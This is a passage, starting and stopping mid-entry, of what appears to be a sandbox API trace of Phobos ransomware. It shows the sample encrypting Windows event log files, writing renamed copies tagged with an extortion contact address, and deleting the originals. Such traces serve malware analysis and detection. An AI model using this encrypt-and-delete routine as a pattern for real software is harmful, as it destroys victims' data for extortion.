lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0059.231] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10ca30) returned 1 [0059.231] CryptSetKeyParam (hKey=0x10ca30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0059.231] CryptEncrypt (in: hKey=0x10ca30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80, dwBufLen=0x80 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80) returned 1 [0059.231] CryptDestroyKey (hKey=0x10ca30) returned 1 [0059.231] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x132, lpOverlapped=0x0) returned 1 [0059.231] CryptDestroyKey (hKey=0x10cc70) returned 1 [0059.231] CloseHandle (hObject=0x320) returned 1 [0059.231] CloseHandle (hObject=0x324) returned 1 [0059.233] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1 [0059.234] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0059.234] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0059.235] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0059.235] CloseHandle (hObject=0x324) returned 1 [0059.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0059.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.235] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0059.235] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0059.235] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0059.235] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0059.235] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cdf0) returned 1 [0059.235] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0059.235] ReadFile (in: hFile=0x324, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0059.237] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0059.237] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0059.239] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cc30) returned 1 [0059.239] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0059.239] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90, dwBufLen=0x90 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90) returned 1 [0059.239] CryptDestroyKey (hKey=0x10cc30) returned 1 [0059.239] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x142, lpOverlapped=0x0) returned 1 [0059.239] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0059.239] CloseHandle (hObject=0x324) returned 1 [0059.239] CloseHandle (hObject=0x320) returned 1 [0059.241] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1 [0059.242] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0059.242] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0059.243] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0059.243] CloseHandle (hObject=0x320) returned 1 [0059.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20 [0059.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.243] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0059.243] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0059.243] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0059.243] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0059.243] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10d170) returned 1 [0059.243] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0059.243] ReadFile (in: hFile=0x320, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0059.571] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0059.571] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0059.573] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cf30) returned 1 [0059.573] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0059.573] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xa0, dwBufLen=0xa0 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xa0) returned 1 [0059.573] CryptDestroyKey (hKey=0x10cf30) returned 1 [0059.573] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x152, lpOverlapped=0x0) returned 1 [0059.573] CryptDestroyKey (hKey=0x10d170) returned 1 [0059.573] CloseHandle (hObject=0x320) returned 1 [0059.573] CloseHandle (hObject=0x324) returned 1 [0059.575] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1 [0059.576] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0059.576] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0059.577] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0059.577] CloseHandle (hObject=0x324) returned 1 [0059.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20 [0059.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.578] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0059.578] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0059.578] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0059.578] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0059.578] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10caf0) returned 1 [0059.578] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0059.578] ReadFile (in: hFile=0x324, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0059.580] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0059.580] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0059.582] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d1f0) returned 1 [0059.582] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0059.582] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90, dwBufLen=0x90 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90) returned 1 [0059.582] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0059.582] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x142, lpOverlapped=0x0) returned 1 [0059.582] CryptDestroyKey (hKey=0x10caf0) returned 1 [0059.582] CloseHandle (hObject=0x324) returned 1 [0059.582] CloseHandle (hObject=0x320) returned 1 [0059.584] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1 [0059.585] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0059.585] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0059.585] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=1052672) returned 1 [0059.585] CloseHandle (hObject=0x320) returned 1 [0059.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20 [0059.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.586] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0059.586] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0059.586] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0059.586] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0059.586] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10d0f0) returned 1 [0059.586] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0059.586] ReadFile (in: hFile=0x320, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x101000, lpOverlapped=0x0) returned 1 [0059.601] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x101010, dwBufLen=0x101010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x101010) returned 1 [0059.602] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x101010, lpOverlapped=0x0) returned 1 [0059.814] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10caf0) returned 1 [0059.814] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0059.814] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xc0, dwBufLen=0xc0 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xc0) returned 1 [0059.814] CryptDestroyKey (hKey=0x10caf0) returned 1 [0059.814] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x172, lpOverlapped=0x0) returned 1 [0059.815] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0059.815] CloseHandle (hObject=0x320) returned 1 [0059.815] CloseHandle (hObject=0x324) returned 1 [0060.234] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1 [0060.239] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0060.239] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0060.239] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0060.239] CloseHandle (hObject=0x324) returned 1 [0060.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0060.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.240] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0060.240] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0060.240] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0060.240] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0060.240] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cdf0) returned 1 [0060.240] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0060.240] ReadFile (in: hFile=0x324, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0060.242] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0060.242] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0060.244] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10ce30) returned 1 [0060.244] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0060.244] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90, dwBufLen=0x90 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90) returned 1 [0060.244] CryptDestroyKey (hKey=0x10ce30) returned 1 [0060.244] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x142, lpOverlapped=0x0) returned 1 [0060.244] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0060.244] CloseHandle (hObject=0x324) returned 1 [0060.244] CloseHandle (hObject=0x2e4) returned 1 [0060.246] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1 [0060.247] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0060.247] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0060.247] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0060.248] CloseHandle (hObject=0x2e4) returned 1 [0060.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0060.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.248] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0060.248] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 